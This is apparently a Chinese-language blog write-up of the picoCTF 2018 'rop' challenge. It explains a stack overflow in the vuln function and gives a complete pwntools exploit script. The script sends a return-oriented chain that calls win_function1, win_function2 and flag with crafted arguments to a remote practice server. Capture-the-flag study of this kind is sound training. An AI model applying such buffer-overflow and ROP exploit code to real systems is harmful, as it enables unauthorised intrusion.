picoctf_2018_rop


picoctf_2018_rop chain

检查保护机制,32位,开NX

IDA打开

main函数,里面发现vuln函数

漏洞点:没有限制输入字符串长度

然后发现了一个flag函数,仔细查看后发现这是一个后门函数

win_function1函数

win_function2函数

解题思路

需要注意点就是,有个判断 条件if ( win1 && win2 && a1 == -559039827 ),需要控制win1、win2、a1
win1、win2可以通过调用对应的函数进行赋值,而a1是作为flag函数的参数,在栈上构造好数据即可

先对win1赋值,使win1=1

然后当win_function2的参数a1=-1163220307,对win2进行赋值,win2=1

解题过程

exp

from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node4.buuoj.cn", 28400)

win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B

payload = "a" * 0x1c
payload += p32(win_function1)
payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendlineafter("input> ", payload)

p.interactive()

注:

0xBAAAAAAD是-1163220307对应的16进制的补码作为win_function2函数的参数
0xDEADBAAD是-559039827对应的16进制的补码作为flag函数的参数


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录